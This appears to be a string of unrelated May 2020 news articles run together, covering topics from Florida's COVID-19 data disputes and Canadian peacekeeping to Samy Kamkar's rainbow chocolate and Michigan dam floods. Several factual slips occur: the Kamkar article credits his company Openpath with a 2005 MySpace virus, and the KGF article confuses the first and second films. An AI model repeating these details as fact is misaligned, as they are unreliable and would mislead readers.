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Thankfully, Floridians started taking the pandemic seriously before they were told to do so. As state officials dithered, the residents of the hardest-hit counties began staying home in mid-March. The Tampa Bay Times, which also credited a car culture and urban sprawl that kept residents away from packed public transportation, analyzed statewide cellphone data to track residents movement:

Miami-Dade has had the largest outbreak in Florida. But in the five days preceding the countys March 26 stay-at-home order, more than half the phones tracked by one of the firms never traveled more than a mile. That represented a drop of more than 80 percent  from mid-February to early March. Residents of the biggest counties were quickest to put social distancing guidelines in place. But the trend was consistent.  By April 3, when DeSantis shutdown order took effect, nearly half of the states counties had seen 50 percent drops in median movement for at least two weeks.

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The timing matters herethe pandemic hit the Northeast first. So its not just that Floridians started staying home early compared with their official order; its that they started staying home at an earlier stage of the epidemic. Anyone who doubted that the states residents would be responsible underestimated Floridians.

Theory 3: It Didnt Actually Do That Well

But it may be that we need to question the idea that Florida has actually done as well as is being said. Theres no question that the apocalyptic worst-case scenario numbers didnt arrive, but those numbers were meant to indicate the dangers of inaction. Florida looks good if you examine it by per capita numbers, but statewide summaries are tricky in states where theres a balance between densely populated areas and rural, sparsely populated areas, Rebeiro said. Florida is very populous, but also very large. So theres room for there to be very different data.

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Floridas most populous countiesMiami-Dade, Broward, and Palm Beachwere its hardest hit. Miami-Dade, with 16,300 cases and 578 deaths, looks significantly worse than the similarly sized Dallas County in Texas, which has had 8,000 cases and 196 deaths. Comparing hard-hit dense counties isnt a very fair way of looking at a states success, but its worth remembering that the states stats will have been bolstered by its stretches of rural areas.

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Theres also reason to question the integrity of the data. Several Florida publications sued the state over its initial refusal to hand over data about nursing homes. And, the Miami Herald noted, the state tallies up numbers in inconsistent ways. An enormous disparity between state-reported testing numbers and Centers for Disease Control and Prevention numbers was discovered Tuesday. Its not clear where that gap comes from, but it heightened concerns already raised last week, when the Florida Department of Health fired the data manager behind the states online coronavirus data site because of a repeated course of insubordination. The woman, Rebekah Jones, said in an email to CBS12 News in Tallahassee that she had been fired because she objected to orders to manually change data to drum up support for the plan to reopen. Internal emails indicated that Jones was fired after resisting orders from her bosses to cut off data so that users could no longer download it and to remove records of symptoms and positive tests posted before they were officially announced. The Tampa Bay Times also reported that after media requests about data, she had been asked to remove fields indicating when patients had begun experiencing symptoms. The news caused many critics to worry about the states dedication to transparency.

It does seem, regardless, that newly reported cases were declining through April. But at the end of the month, that rate started to flatten, and in recent days, its begun moving up again. A new model from PolicyLab at Childrens Hospital of Philadelphia also warns that Southeast Florida in particular should brace for a second wave of cases in the next four weeks, following its early decision to reopen businesses.

So we should be careful when talking about Floridas success. When were talking about DeSantis victory lap, were talking about a triumph over dire projections.

For more on the impact of the coronavirus, listen to Slates Political Gabfest.
Hungarian-born US investor and philanthropist George Soros looks on after having delivered a speech on the sidelines of the World Economic Forum meeting, on January 23, 2020 in Davos, Switzerland. Photo: Fabrice Coffrini/ AFP via Getty Images

Billionaire financier George Soros has warned that the coronavirus pandemic could threaten the survival of the European Union, if the bloc doesnt issue perpetual bonds to support its weaker member states.

"If the EU is unable to consider it now, it may not be able to survive the challenges it currently confronts, Soros said in a transcript of a question-and-answer session reported by Reuters. "This is not a theoretical possibility; it may be the tragic reality.

Soros said he was especially concerned about Italy, saying: "What would be left of Europe without Italy? The relaxation of state aid rules, which favour Germany, has been particularly unfair to Italy, which was already the sick man of Europe and then the hardest hit by COVID-19.

Soros added that the the EU needs to keep its AAA credit rating to issue the required amount debt, and therefore need to have the power to raise taxes to cover the cost of the bonds: "The taxes only have to be authorised; they dont need to be implemented."

READ MORE: Coronavirus: Merkel and Macron propose 500bn EU recovery fund

Italy was the first country in Europe to be brought low by the coronavirus pandemic. According to Johns Hopkins University data as of 22 May, the country has had 228,000 confirmed cases of the virus, and 32,486 deaths from COVID-19.

Italy, Spain, and France have been vocal in demanding joint-debt issuance, in the form of so-called corona bonds by the EU to spur economic recovery from the pandemic. Germany, Austria, and the Netherlands have long been staunchly opposed to debt mutualisation across the eurozone.

However, this week German chancellor Angela Merkel announced that she and French president Emmanuel Macron would jointly back a 500bn (447bn) recovery fund, a common-debt instrument that would allow aid to be issued to the worst-hit EU member states in the form of grants rather than loans.

The fund would need the backing of all member states, and Austria said it would not support the proposal in its current form.

Our position is clear: we want to show solidarity with states that were hit particularly hard by the crisis but we believe that loans are the right way, not grants, Austrian chancellor Sebastian Kurz told a newspaper.
After filing a lawsuit May 15 against several county officials hoping for property tax relief for residents facing economic hardships amid the COVID-19 pandemic, Conroe Mayor Toby Powell is asking Gov. Greg Abbott to summon the state Legislature for a special session to amend the tax code to authorize reappraisals or use 2019 valuations instead of the 2020 valuations.

The suit, which names Montgomery County Chief Appraiser Tony Belinoski and Tax Assessor Collector Tammy McRae and filed just hours before the deadline to protest property taxes, asks the court to order the chief appraiser to either apply an across-the-board reduction to the value of all properties or reassess each property individually.

Alternatively, Powell, who filed the suit in his personal capacity, asks the court to order the appraisal district to extend the deadline to file individual protests until June 30.

Property values for tax purposes are normally set as of January 1 of the tax year, and the values Montgomery County taxpayers received in the mail around April 15 were based on what their property was worth on January 1, Powell said in a statement. They do not reflect what has happened to our economy in the five months since that date.

According to Powells office Friday, the Texas tax code allows the governing body of a taxing unit in a governor-declared disaster area to authorize reappraisal of all property damaged in the disaster at its market value immediately after the disaster.

Abbotts office was not immediately available to respond to Powells request Friday afternoon.

In March, Montgomery County health officials confirmed the countys first case of the new coronavirus. That announcement was followed by several local and state orders that closed all non-essential businesses and advised residents to stay at home for more than a month.

We have been advised that the COVID-19 pandemic may not constitute a disaster for the purposes of authorizing reappraisal, Powell said.

McRae called the lawsuit groundless and frivolous. She added in March, she along with commissioners James Noack, Charlie Riley and state Sen. Brandon Creighton, R-Conroe, began researching the issue for potential options.

According to McRae, on April 13, Attorney General Ken Paxton issued Opinion No. KP-0299 noting without legislative change, current law allows for reappraisals only if there is physical damage to property, not economic loss.

What we are asking for in this lawsuit is for the appraisal district to reappraise all of the property in the county based on what has happened to our economy since that time, Powell stated. Unfortunately, many of the properties in the county show a large increase in value because demand for new homes and real estate was high toward the end of 2019. But that has dried up because thousands of our fellow citizens have lost their jobs or their businesses have been shut down.

Powell said his decision to file the suit came following dozens of phone calls from business owners and residents begging for help because they are unable to pay their property taxes.

cdominguez@hcnonline.com
OTTAWA - Canada's contribution to peacekeeping has reached what is believed to be an all-time low, even as the Liberal government makes its final push to secure a coveted seat on the United Nations Security Council.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

Canadian flag and the UN flag is shown on the sleeve of a Canadian soldier's uniform before boarding a plane at CFB Trenton in Trenton, Ont., on July 5, 2018. Canada's contribution to peacekeeping has reached what is believed to be an all-time low, even as the Liberal government makes its final push to secure a coveted seat on the United Nations Security Council. UN figures show there were 35 Canadian military and police officers deployed on peacekeeping operations at the end of April. That represented the smallest number since at least 1956, according to Walter Dorn, a peacekeeping expert at the Canadian Forces College in Toronto. THE CANADIAN PRESS/Lars Hagberg

OTTAWA - Canada's contribution to peacekeeping has reached what is believed to be an all-time low, even as the Liberal government makes its final push to secure a coveted seat on the United Nations Security Council.

UN figures show there were 35 Canadian military and police officers deployed on peacekeeping operations at the end of April. That represented the smallest number since at least 1956, according to Walter Dorn, a peacekeeping expert at the Canadian Forces College in Toronto.

The figures are all the more striking given the Liberal government's past promises to contribute up to 600 military members and 150 police officers as part of a broader effort to increase Canada's support to UN peacekeeping.

Canada instead had only 25 Armed Forces members in the field at the end of April, as well as 10 police officers. The military personnel were scattered between UN missions in Mali, South Sudan, the Democratic Republic of Congo, Cyprus and the Middle East. The police officers are all in Mali.

The decline coincides with the COVID-19 pandemic, which has resulted in fewer overseas deployments for the Canadian Armed Forces and the suspension of many activities, including the occasional provision of a transport plane to UN operations in Africa for the time being.

It also comes as the Liberal government heads into the home stretch of its campaign for a UN Security Council seat, where Canada is up against Norway and Ireland for two non-permanent spots at the influential table.

Prime Minister Justin Trudeau has been lobbying fellow leaders in the lead-up to a vote at the General Assembly next month, saying the body will play an especially important role in charting a course for the post-pandemic world.

Yet Canada's bid could be hurt by the fact both Norway and Ireland had more peacekeepers deployed on UN missions at the end of April. Ireland had 474 peacekeepers in the field while Norway had far fewer, but still nearly twice as many as Canada with 65.

"Canada's low level of peacekeeping participation is highly detrimental to our bid for a seat," Dorn said. "In fact, you could call it the Achilles heel of the bid. In its past successful bids, Canada used its then-high level of participation to support the bids."

Dorn said COVID-19 does provide a legitimate reason to pause some military movement and activities, with the UN similarly suspending operations because of the pandemic, but that is not the whole story.

"This Canadian low point is a reflection of Canada's poor position before the crisis began," he said.

Canada had 46 peacekeepers in the field at the end of February, before the pandemic hit the country hard in March.

That represented a dramatic drop from the 167 deployed overseas at the end of February 2019, the high point under the current Liberal government. That was when Canada had a military helicopter detachment deployed in Mali.

Two senior UN peacekeeping officials underscored in an op-ed last month the importance of peacekeeping operations, particularly as COVID-19 presents a new challenge to poor countries in Africa and elsewhere that were already struggling with peace and stability.

"If  or more likely when  the COVID-19 virus further spreads in countries already weakened by war and poverty, it will not only threaten the lives of the thousands, but could also tip the balance from tenuous peace back to conflict and despair," wrote Atul Khare and Jean-Pierre Lacroix.

"To extend the global fight against COVID-19 to areas struggling to emerge from conflict, we need to continue sustaining and promoting peace and stability."

This report by The Canadian Press was first published May 22, 2020.
What the hell is happening with holidays this year?

Just a few weeks ago, it felt like 2020 holidays were a write-off. Lockdown was on everyone's lips, and summer travel was a fairytale.

Suddenly, the mood music has changed.

Greece, Spain and Italy now say they will welcome overseas tourists from June and July. There's talk of "travel bubbles" and "safe corridors", and Ryanair and easyJet plan to ramp up flights in the months ahead.

Restarting tourism is "a calculated risk", as Italian Prime Minister Giuseppe Conte puts it, but it's now a risk countries dependent on tourism are prepared to take.

But what about holidaymakers... should they reevaluate too?

What countries will reopen first?

Italy is quickest out of the block with a plan to allow overseas visitors, without quarantine, from June 3. Its shops reopened this Monday, and movement within regions has recommenced.

Spain - Ireland's most popular holiday destination - says it will welcome visitors from July 1, while Greece is targeting the same date. Portugal and Malta are quickly rebooting tourism, too.

The concept of "safe corridors" or "travel bubbles" has also been gaining traction - Estonia, Latvia and Lithuania have teamed up, for example, while Germany and Austria have reopened their land border.

For Irish holidaymakers, the Canary Islands and Mallorca probably offer the best hope for sun holidays. Caseloads are low in the Canaries (84 in Lanzarote, and 54 in Fuerteventura, for example), and the islands, heavily dependent on tourism, are forging ahead with new health protocols and contact tracing systems.

What airlines are starting to take off?

Ryanair says it will begin "widespread" flights from July 1... albeit with a host of changes, including face masks, temperature checks and a new ban on queuing in the aisles for toilets.

EasyJet will start ramping up from June 15, Lufthansa will bring back nine weekly flights from Dublin from June 1, and others such as KLM and Emirates have announced additions - albeit at a fraction of normal levels.

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Aer Lingus is currently operating just 5pc of its schedule.

It is likely to slowly step up over the summer, but has said a return to 2019 levels of flying might not happen until 2023.

So... should I book a holiday or not?

Don't pack the Speedos just yet... it's best to wait and see.

"There is no point in an airplane flying to a country if a consumer cannot have a normal holiday," says Pat Dawson, President of the Irish Travel Agents' Association (ITAA).

"The corridor thing may work, but you can't have a situation where people are away enjoying their holidays and suddenly there's a lockdown. Certainty is so important in travel. That has to be really nailed down before people will have confidence".

"We all want to get back in business. We all want to sell holidays, but not at any cost."

Things will become a lot clearer in the coming weeks - whether second waves of coronavirus occur, what hygiene and screening measures are implemented, how Ireland's easing of restrictions plays out, and whether countries such as Spain, Italy and Greece actually do proceed with plans to reopen.

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Should I take a punt and book a July flight?

Buyer beware! Stung by long waits for refunds or vouchers, passengers may not want to run the risk of the same thing happening in July.

Remember that if flights do operate, but the Government advises against non-essential travel, you may not be eligible for a refund under EU/261, nor covered under your travel insurance policy.

Speaking of Ireland... when can I leave?

To go on any holiday, you first have to leave home.

The Government continues to issue official advice against "non-essential travel", and a relaxation of restrictions will confine people to within 5km, and subsequently 20km, of their homes up to July 20.

Expand Close Papagayo beach, Lanzarote / Facebook

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Then there's the return home. Currently, anyone entering Ireland is asked to self-isolate for 14 days. This quarantine will soon become mandatory, and it is unknown for how long.

Screening and health protocols also remain to be worked out before travel resumes, and Taoiseach Leo Varadkar has said it could be "months rather than weeks" before non-essential air travel returns.

Could that change?

Yes... for better or worse.

In a worst-case scenario, a second wave of coronavirus could slow the easing of restrictions or even turn the clock back.

In a best-case, however, Minister Simon Harris this week told Reuters that "travel bubbles" between countries with low infection rates was "a really interesting idea" that merits consideration.

Any fast-tracking of the roadmap will depend on public health data.

What's all this about 'the new summer'?

Many travel agents sense holidaymakers will remain uneasy about travel through July and August - whether it is possible or not - but say September and October could be "the new summer".

There is "a little bit of optimism" Pat Dawson says.

"People that are booked in September or October are [keeping bookings]; they feel confident enough that there will be flying going on."

This is possible, as airline summer schedules typically run to the end of October, there is clearly a pent-up demand for holidays, and Irish weather is one of the world's most fickle phenomena.

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However, family travel may be limited due to a return of schools, and it's worth noting that a rush to book at this time, together with any newly limited occupancy levels, could push up prices.

What has the EU advised?

Countries with similar rates of coronavirus infection, and comparably strong health systems, can begin opening borders, the EU has said.

This week, the European Aviation Safety Authority (EASA) also published aviation health and safety guidelines to provide "a source of best practice" for airlines, airports and national authorities.

The guidelines are non-binding, however. Airlines, countries and airports continue largely to do their own thing - which is confusing for travellers, to say the least.

I've paid a deposit; now the balance is due. What should I do?

If you fail to pay the balance, you break your contract and may lose the deposit and/or pay a cancellation fee. Worse, if the trip is cancelled in the future, you will have lost any refund or rebooking options.

First up, speak to your travel agent or holiday provider about your options. Most would rather reschedule or negotiate than lose your business - and the State is now guaranteeing package holiday credit notes.

Another option, if you can afford it, is to pay the balance to keep your package holiday 'live' for now. It will either go ahead, or you will have more rights in the event that it is cancelled.

You can also check your travel insurance and credit card options.

What about ferries?

Irish Ferries and Stena Line continue to sail between Ireland, the UK and France, both to maintain supply chains and cater for essential journeys.

"Enhanced flexibility" is being offered on cancellations and rescheduling of travel booked to the end of June, but passengers with summer bookings are in a bind, and have complained that outstanding payments are being deducted for trips that, due to travel restrictions, they are unable to take.

Brittany Ferries is cancelling all passenger sailings from Ireland to France and Spain up to June 15.

What will future holidays look like?

Face masks are a certainty, as is social distancing.

Ryanair and Aer Lingus have both said face coverings will be mandatory this summer, and Emirates is now giving passengers free kits including masks, gloves, antibacterial wipes and hand sanitiser.

You can expect physical distancing at every stage of the journey - from airport check-ins to your resort restaurant, hotel elevators to beach loungers (Italy has a 10m zone per umbrella, for instance).

Coronavirus tests are possible - from June 15, Iceland will offer arriving visitors the option of a test or a two-week quarantine, for instance, and Greece has said testing will be a feature, too.

Holidaymakers will need to remain on high alert for virus symptoms. Temperature screenings are likely at airports and resorts - if the results are above 38-degrees, that will flag further screening.

Clearly, this could be another source of anxiety - what if you develop a temperature during travel? What if one family member tests high? Will airlines and resorts offer rebooking or holiday refunds if we can't travel?

It's a brave new world... at least until a vaccine arrives.

What about those 'mega-sales' we were promised?

No sign of those just yet.

Airlines will gauge demand and watch how screening, hygiene and quarantine measures play out before pressing the button on eye-catching sales.

Right now, for instance, Ryanair's routes from Dublin in July start from 37.99 to Amsterdam, or 70.99 to Faro or Valencia each-way, for example... but that's of little use to people unable to leave Ireland.

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Pizza Hut has teamed up with America's dairy farmers to give away half a million pizzas to honor the class of 2020.

Jimmy Fallon debuted the announcement on The Tonight Show highlighting the celebration of all graduate's accomplishments with free pizza.

While COVID-19 disrupted important milestones for the class of 2020, it can't stop them from celebrating with a socially-distanced pizza party.

CHADILLACS BACK: Chadillacs Ranch in Conroe to open at limited capacity Memorial Day Weekend

Our brand has a long history of celebrating moments that matter  like graduations  and Pizza Hut takes pride in being a part of our customers big days, said George Felix, the chief marketing officer of Pizza Hut, in a press release.

Americas dairy farmers have great appreciation and respect for the hard work that graduating students have put in and nothing celebrates that better than cheese and pizza enjoyed with family and friends," said Marilyn Hershey, a Pennsylvania dairy farmer and chair of Dairy Management Inc.

To claim a free pizza visit www.pizzahut.com/gradparty.

Next, sign in to your Pizza Hut Rewards account, and get a digital coupon for a free, one-topping Medium Pizza deposited into your account, while supplies last.

Pizza Hut will also be celebrating more missed moments through a social content series on Pizza Huts Instagram channel.

STAY INFORMED: Sign up to receive breaking news alerts delivered to your email here.
It was mid-March and New York City was grinding to a halt as the scale of the new coronavirus outbreak began to come into view. At a beach in Queens, Caldecott Honor artist Elisha Cooper and Three Lives & Company bookstore owner Toby Cox were swimmingpart of a socially distanced winter workoutand talking about the toll that a large-scale shutdown of the city could take on small bookstores. Cox turned to Cooper and said, Why not send them a lot of art?

Two months later, Cooper and fellow author-illustrator Ruth Chan are spearheading Kid Lit Art Surprise, an initiative that grew from Coxs simple suggestion. More than 50 of the nations leading illustrators have joined up, sending packages of art for free to independent bookstores, which the stores are then giving away to customers who place online orders.

If we sound disorganized, its because we are, Cooper told PW with a laugh. You dont want artists leading something. Weve been haphazard but pleasantly so.

Cooper demurs, but thanks in part to Chan, that haphazardness is not entirely a reality. The duo met last year at the Brooklyn Book Festival, and when Cooper decided to move forward with Kid Lit Art Surprise, he reached out to Chan with her local bookstore in mind. Brooklyns Stories Bookshop and Storytelling Lab has become a fixture for childrens author events since the store opened four years ago. Cooper worried about the store surviving a sustained quarantine without its usual lineup of readings and workshops.

Chan jumped into action, contacting 140 authors and illustrators in New York City, and then the two came up with a plan. It worked out that I love organizing and making spreadsheets, and Elisha is great with keeping things organic and open, especially as the idea for this project continues to grow, Chan said. We make a good team.

Illustrations of pandaswhich Cooper said he likes because they are amusing to depict reading booksstarted arriving at Stories owner Maggie Pounceys house late last week, and she began shipping them out with customer orders on Monday. Others are on the way, including alpacas from Chan (her forthcoming book, The Alpactory, will be published next year by HarperCollins) and Apollo 11 astronauts from Brian Floca (author of Moonshot: The Flight of Apollo 11).

Pouncey puts one piece of art in every package. I cant get over it, Pouncey said. It is so generous and really special for the customers who will get this art surprise. Its such a gift.

Like many booksellers, Pouncey is not having online orders handled by third parties like Bookshop or Ingram because she wants to maintain a direct connection with readers through each sale. That approach is now paying off as she adds a unique piece of art to the orders coming in.

In just a matter of days, the project has grown to include other stores from across the country, from Elliott Bay Book Company in Seattle to Oblong Books & Music in Rhinebeck, N.Y. Fifteen indies are now on board, and Chan is matching five to 10 newly enlisted authors with stores that reach out. She keeps a waiting list of stores until there are enough illustrators to ensure that each store gets a good supply of prints.

Authors and illustrators can write notes or paint whatever they fancy, and bookstores are welcome to use them however best helps them, whether as a gift with a book order, anniversary celebration, or contribution to a cause the bookstore supports, Chan said. As long as there are illustrators and stores who want to join them, Chan and Cooper plan to keep going.

For Cooper, seeing how other illustrators are responding to the call has been part of the fun, as they share their work on social media using the hashtag #kidlitartsurprise. Brian Flocas paintings made me angry they were so good, he said. Everyone is taking it on and its a real pleasure to see.

Still, there is a seriousness of purpose to the effort. As Im sure is the same for many childrens book authors and illustrators, the independent bookstore was the first place to support my books, and bring people together through those books, Chan said. It felt like this project was the least we could do to say thank you and we love you. And one of the things I miss the most during these pandemic times is wandering into one of the many indie bookstores around me and browsing, petting the store cat, chatting with booksellers, and seeing my fellow authors and illustrators work.

Cooper agrees, saying the effort comes down to one simple sentence: We want to help.
Kerala reported a big spike with 42 new coronavirus cases on Friday, the highest in a day since the outbreak in January last, largely due to the continued repatriation of expats from the middle-eastern countries and return of residents stranded in other parts of the country.

More people are expected in the coming days. We cant say no to our people. Situation is really critical but there is no need to panic either. What we need is more vigil and surveillance. We will do everything possible to avoid secondary infections, said Kerala chief minister Pinarayi Vijayan, adding that more than 90,000 people have arrived in the state by rail, road and air in the last two weeks.

Out of total 732 coronavirus cases registered in the state so far, 216 are active- a sharp increase from 16 active cases about two weeks ago. The number of people under observation has also gone up to 85,000 from 5,000 at one stage.

Out of 42 new cases registered on Friday, 21 are patients who arrived here from other states and 17 are foreign returnees, the CM said. North Kerala districts of Kannur and Malappuram have maximum active cases-- 36 each.

The state has recorded five deaths to the disease so far; the last casualty was a woman who had returned from Mumbai two days ago.

The pressure to contain the spread of the disease is only going to go up after more people arrive on domestic flights that are resuming on May 25. The CM said the state will insist on a 14-day mandatory quarantine for residents arriving on domestic flights.

Union Civil Aviation Minister Hardeep Singh Puri had recently said that there was no need to put domestic travelers in quarantine.

We cant take chances. It (quarantine) is not meant for business travelers and others who come for brief visits. But people who are coming here to stay will have to undergo a 14-day home quarantine like those coming by train, he said.

The HT Guide to Coronavirus COVID-19

Vijayan said the government will take strict action against those who flout quarantine norms and cited that 100 cases were registered against such violators in the last two days. He also noted that many aged people and children were venturing out of homes after increased relaxation.

It is not a healthy trend. The government has made it clear that people who crossed 65 years of age and children below 10 years of age can come out only in urgent situations. But this is being flouted quite often, he said adding that reverse quarantine is a must in such situations.

Reverse quarantine refers to the practice of isolating a set of people including those with underlying medical conditions, those aged 65 years and above and the immune-compromised, so that they are protected against infections. The state has started experimenting with it in some districts.

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KGF: Chapter 2 is the current talk of the town. The period action film, starring Yash, recently made it to the headlines with the rumours of a channel procuring the satellite rights of the film for Rs 120 crore. Well, as per a recent report, Amazon Prime has acquired the streaming rights of KGF: Chapter 2, for a whopping Rs 55 crore. It is said that the OTT giant has bought the digital rights of all versions of the film, i.e. Kannada, Telugu, Hindi, Tamil, and Malayalam.

Interestingly, the first instalment of the project, KGF: Chapter 1 became the most viewed Indian movie of 2019 on Amazon Prime. It is said that the streaming company took the decision to buy the rights, keeping in mind the impact the first instalment had created. However, there is no official confirmation made by the makers of KGF or Amazon Prime Video yet.

Directed by Prashanth Neel, the makers of the period-action film have already resumed the production work amid the lockdown. As the state government has relaxed to resume a few post-production activities, the makers have decided to focus on the music of the film, composed by Ravi Basrur. The makers are leaving no stone unturned to create a blockbuster yet again. For the uninitiated, the first part of KGF: Chapter 2 became the first Kannada film to enter the Rs 200 crore club, thanks to it's tremendous running at the theatres. Well, now fans are eagerly waiting for more updates on the film.

Produced by Vijay Kiragandur under his banner Homable films, the movie is slated to hit the theatres on October 23. KGF: Chapter 2 has Bollywood star Sanjay Dutt as the antagonist and features Srinidhi Shetty, Raveena Tandon, Nassar, Simha, Achyuth, and Vasishta in important roles.

KGF: Chapter 2 Satellite Rights Sold For A Mammoth Amount Of Rs 120 Crore

Prashanth Neel Expresses His Love For Kannada Movies And Audience
A new kind of chocolate has been shared earlier this month by creator Samy Kamkar. This shimmering delicacy comes not from a chocolatier, but the founder of Openpath, an internet security company. The company gained immediate fame in 2005 for being responsible for a virus that was released on the Myspace social network.

A similar endeavour was manufactured by the company several years ago on black plastic. The iridescent plastic saw the first attempt of the idea. Kamkar said, "I wondered what else I could do this on."

A beautiful-looking treat

According to the New York Times, Kamkar initially thought of using the colourful surface on hard candy but realized that it would have posed no challenge. Chocolate, on the other hand, with its melting characteristics, offered a greater level of difficulty.

The project took Kamkar two months to finish, but he was rewarded with a repeatable technique. "Anyone can do this at home," he said. "There's no coating. There's no special ingredient. It's the surface texture of the chocolate itself that's producing it."

The idea is not original to Kamkar, however, as the process has a filed request for patent by a group of scientists from ETH Zurich and FHNW University of Applied Sciences and Arts.

The idea for the original process was inspired by sheer curiosity, where the researchers monitored the qualities of chocolate to understand what they can of the material and what makes it chocolate, as reported by ETH Zurich.

Kampar's process, however, consisted of a 3-D model cast that utilized a saw-tooth wave pattern at its base. The melted chocolate placed within would adapt the inverse design of the material.

Also Read: Does Cooking Food Kill Coronavirus?

The chocolate, to be prepared for the procedure, would have to be tempered, which meant it had to be heated and cooled in a calibrated sequence. This process gave the chocolate its optimum properties to shine like a rainbow.

Afterwards, Kamkar pressurized the chocolate in a vacuum chamber, which he stated might not be needed and decided to come up with a mushroom-shaped mould because "mushrooms are magical," he added.

What makes this possible?

The principle behind the remarkable effect is diffraction, a process of interaction of light hitting a surface and is then drawn or pulled apart.

The resulting shape of the chocolate by the mould as Kamkar produced, resulted in diffracted light being the majority of what is seen, leading to the rainbow shine.

David A. Weitz, a professor of physics and applied physics at Harvard University, said that the process of diffraction is also seen in insects such as butterflies to show off beautiful patterns on their wings or bodies.

"It's the best-tasting diffraction grating you'll ever see," said the professor. "It's a simple idea. And to me, when I say something is simple, it is the best compliment I'll pay."

Dr Weitz added that the saw-tooth pattern mould used by Kamkar isn't required as long as the properties of the shapes and lines are spaced in proximity to the wavelength of light, the outcome will be similar. "The basic fundamental physics will be the same," he added.

Related Article: 32 Years After He Was Abducted, Facial Recognition Reunites a Man With His Family

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The global bearings market size is expected to reach USD 186.1 billion by 2025, according to a new report by Grand View Research, Inc. It is projected to register a CAGR of 9.1% during the forecast period. Bearings are essential in almost every application that involves motion and they help minimize friction between different mechanical components in several industrial machinery and equipment, resulting in reduced energy consumption. Hence, this machine element finds application in all industries, ranging from automobiles, household appliances, and aerospace to industrial machinery, using machinery or related motor-driven linkages.

The bearings market is estimated to witness a considerable growth in the forthcoming years, ascribed to the aim to achieve energy efficiency. Energy saving and bearings go hand-in-hand. The main objective of this element is saving energy by reducing friction, be it during the rotation of shafts of a transmission or the wheel of a vehicle. Additionally, rising demand for commercial vehicles is expected to catapult the demand from automotive sector across the world.

Technological advancements including smart bearings, development of advanced materials and lubricants, and integrating sensor units, are anticipated to provide high growth potential to the market. With the objective of enhancing performance, vendors are incorporating sensor units of the product. Sensor units help digital monitoring of rotation speed, axial movement, load carrying capacity acceleration, and deceleration. These units are presently being used in conveyors forklifts, road rollers, and electric motors. Furthermore, the integration of IoT capabilities facilitates manufacturers to monitor bearing operations constantly.

The market is mature with a dynamic demand closely related to the state of engineering industries and capital goods. Companies are offering integrated products that significantly decrease the number of bearings that go into an assembled product and reduce the overall cost of equipment. This in turn is also increasing the shelf-life and reliability of the product. Product manufacturers are increasingly investing in R&D to address the intensifying competition by providing innovative products.

Access Research Report of Bearings Market@

https://www.grandviewresearch.com/industry-analysis/bearings-market

Further key findings from the study suggest:

The development of cost-effective wind energy generating product has resulted in their increased espousal within wind turbine applications that aid in increasing energy production, reduce lubricant consumption, and enhancing turbine performance and reliability

Roller bearings is anticipated to emerge as the largest product segment by 2025 and outpace ball bearings, ascribed to their ability to carry heavy loads and shock or impact loading

Railway and aerospace segment is estimated to witness the fastest CAGR of over 8.0% over the foreseeable years, due to their growing demand in applications such as shock absorbers, gearboxes, doors, and tilting mechanisms to name a few

Asia Pacific is anticipated to witness the fastest CAGR of over 5.0% by 2025 attributed to the increased demand for fuel-efficient passenger vehicles, industrialization, and swift infrastructure development

The key competitors operating in the bearings market include SKF, NSK, Timken, Schaeffler, NTN, and JTEKT. Various leading companies are investing in high-level R&D to come up with innovative solutions. These solutions are focused on being cost-effective as well as on enhancing the overall quality of the end-product

Grand View Research has segmented the global bearings market on the basis of product, application, and region:

Bearings Product Outlook (Revenue, USD Billion, 2014 - 2025)

Ball Deep Groove Other

Roller Split Tapered Others

Others

Bearings Application Outlook (Revenue, USD Billion, 2014 - 2025)

Automotive

Agriculture

Electrical

Mining & construction

Railway & Aerospace

Automotive aftermarket

Others

Bearings Regional Outlook (Revenue, USD Billion, 2014 - 2025)

North America US. Canada

Europe UK. Germany France Italy Eastern Europe

Asia Pacific China India Japan

Latin America Brazil Mexico

The Middle East & Africa

About Grand View Research

Grand View Research, Inc. is a U.S. based market research and consulting company, registered in the State of California and headquartered in San Francisco. The company provides syndicated research reports, customized research reports, and consulting services. To help clients make informed business decisions, we offer market intelligence studies ensuring relevant and fact-based research across a range of industries, from technology to chemicals, materials and healthcare.
Damage on one of two North M-30 bridges in Edenville, Mich., on May 20, 2020. (Carlos Osorio/AP Photo)

Trump Declares Emergency for Flooded Michigan Communities

MIDLAND, Mich.Many Central Michigan residents remained cut off from their homes on May 21 even as floodwaters receded, with senior citizens among the scores of displaced people staying in shelters after flooding overwhelmed two dams, submerged homes, and washed out roads.

President Donald Trump, who was in Michigan to visit a Ford production plant, signed an emergency declaration authorizing the Department of Homeland Security and the Federal Emergency Management Agency to coordinate disaster relief efforts.

At Midland High School, 90 percent of people who slept in the schools gym were senior citizens, said shelter coordinator Jerry Wasserman. He said extra precautions were in place due to the combination of the guests ages and the CCP (Chinese Communist Party) virus pandemic.

Dan Roberts packs his belongings as he prepares to move out at the temporary shelter at Midland High School, in Midland, Mich., on May 21, 2020. (Carlos Osorio/AP Photo)

We had to deal with COVID and then deal with their angst of whats happened to their house and their pets and all this, Wasserman said Thursday.

In Midland, 61 people spent Wednesday night and Thursday morning in temporary shelters, according to city spokeswoman Selina Tisdale. That numbermostly the elderly and familiesdwindled throughout Thursday as floodwaters receded and some residents were able to return home, she said.

Dan Roberts, who was a Midland High student more than a half-century ago, spent a few nights at the shelter and said anyone else who had a place to go went to elsewhere. He planned to go stay with his sister in the Flint area.

Theyve been watching after us carefully. Its been a little hectic, but I would not complain at all, said Roberts, a 70-year-old who lives at the Riverside Place senior living community that was overcome with floodwater.

Ryan Stadelmaier, 16, gives a piggyback ride to his sister Rachel Stadelmaier, 27, as they cross Walden Woods Drive while helping residents tend to their flooded homes, in Midland, Mich., on May 20, 2020. (Katy Kildee/Midland Daily News via AP)

Much of the area remained underwater, including in Midland, the headquarters of Dow Chemical Co. And floodwaters continued to threaten downstream communities.

It could be days before the full scope of damage can be assessed, officials said. No flood-related deaths or injuries have been reported.

The damage is truly devastating to see how high the water levels are, to see roofs barely visible in parts of Midland, and to see a lake that has been drained in another part, said Gov. Gretchen Whitmer, who toured Midland County on Wednesday.

The floodwaters mixed with containment ponds at a Dow Chemical Co. plant and could displace sediment from a downstream Superfund site, though the company said there was no risk to people or the environment.

Bob Yahrmarkt (R) stands on his washed out driveway next to his home, in Edenville, Mich., on May 20, 2020. (Carlos Osorio/AP Photo)

The flooding forced about 11,000 people to evacuate their homes in the Midland area, about 140 miles (225 kilometers) north of Detroit, following what the National Weather Service called catastrophic dam failures at the Edenville Dam, about 20 miles (32 kilometers) northwest of Midland, and the Sanford Dam, about 9 miles (14 kilometers) northwest of the city.

